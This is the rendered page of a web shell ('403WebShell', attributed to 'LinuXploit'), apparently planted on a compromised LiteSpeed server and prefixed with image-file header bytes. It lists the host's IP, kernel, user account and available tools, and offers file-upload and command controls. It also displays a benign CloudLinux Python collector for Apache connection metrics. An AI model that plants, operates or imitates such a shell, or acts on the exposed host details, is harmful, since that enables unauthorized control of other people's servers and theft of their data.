����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/cl_plus/collectors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/cl_plus/collectors/apache.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2020 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#

from .collector_base import CollectorBase
from cl_plus.utils.web_server_helper import WebServerHelper


class ApacheCollector(CollectorBase):
    def __init__(self, _logger):
        super(ApacheCollector, self).__init__(_logger)
        self._current_connections = 0
        self._old_total_connections_number = 0
        self._is_get_current_connections_number_error = False
        self._is_total_connections_error = False
        self._is_get_connections_num_error = False
        self._web_helper = None

    def init(self):
        """
        Initialize Apache collector
        :return: None
        """
        self._logger.info("Apache/Litespeed collector init")
        self._reset_to_initial_state()
        self._web_helper = WebServerHelper(self._logger)

    def _reset_to_initial_state(self):
        """
        Resets all counters to initial state
        :return: None
        """
        self._current_connections = 0
        self._aggregated_data_count = 0

    def _get_total_connections(self):
        """
        Get web server total connections (from web server config)
        :return: number of workers
        """
        num, error_msg = self._web_helper.get_total_connections()
        if error_msg != 'OK':
            if not self._is_total_connections_error:
                msg = "Apache collector: can't get web server total connections: {}".format(error_msg)
                self._logger.warn(msg)
                self._is_total_connections_error = True
        else:
            self._is_total_connections_error = False
        return num

    def _get_connections_number(self):
        """
        Get apache connections number (from apache's mod_status - panel specific)
        :return: number
        """
        # From mod_status (panel specific)
        new_connections_number, error_msg = self._web_helper.get_connections_number()
        if error_msg != 'OK':
            if not self._is_get_connections_num_error:
                msg = "Apache collector: can't retrieve apache connections number: {}".format(error_msg)
                self._logger.warn(msg)
                self._is_get_connections_num_error = True
            return 0
        self._is_get_connections_num_error = False
        if new_connections_number >= self._old_total_connections_number:
            # Apache was not restarted
            connections_number_diff = new_connections_number - self._old_total_connections_number
        else:
            connections_number_diff = new_connections_number
        self._old_total_connections_number = new_connections_number
        return connections_number_diff

    def aggregate_new_data(self):
        """
        Retrieve and aggregate new data (each 5 sec)
        :return None
        """
        # Retrieve current connection number for current web server (/bin/netstat -nt ...)
        self._current_connections, error_msg = self._web_helper.get_current_connections_number()
        if error_msg != 'OK':
            if not self._is_get_current_connections_number_error:
                self._logger.warn("Apache collector: can't obtain current connections number: {}".format(error_msg))
                self._is_get_current_connections_number_error = True
        else:
            self._is_get_current_connections_number_error = False
        self._aggregated_data_count += 1

    def get_averages(self):
        """
        Get collector's averages data (each minute)
        :return: dict:
            {"apache": {"total_connections": 150, "connections_number": 0, "requests_number": 1}}
            or None if can't get data
        """
        if not self._web_helper.detect_active_server() or self._aggregated_data_count == 0:
            self._reset_to_initial_state()
            return None
        # Web server total connections (from config)
        total_connections = self._get_total_connections()
        # From apache's mod_status
        requests_number = self._get_connections_number()
        # From netstat -nt
        connections_number = self._current_connections // self._aggregated_data_count
        self._reset_to_initial_state()
        return {"apache": {"total_connections": total_connections,          # Web server total connections (from config)
                           "requests_number": requests_number,              # From apache's mod_status
                           "connections_number": connections_number}        # From netstat -nt
                }

Youez - 2016 - github.com/yon3zu
LinuXploit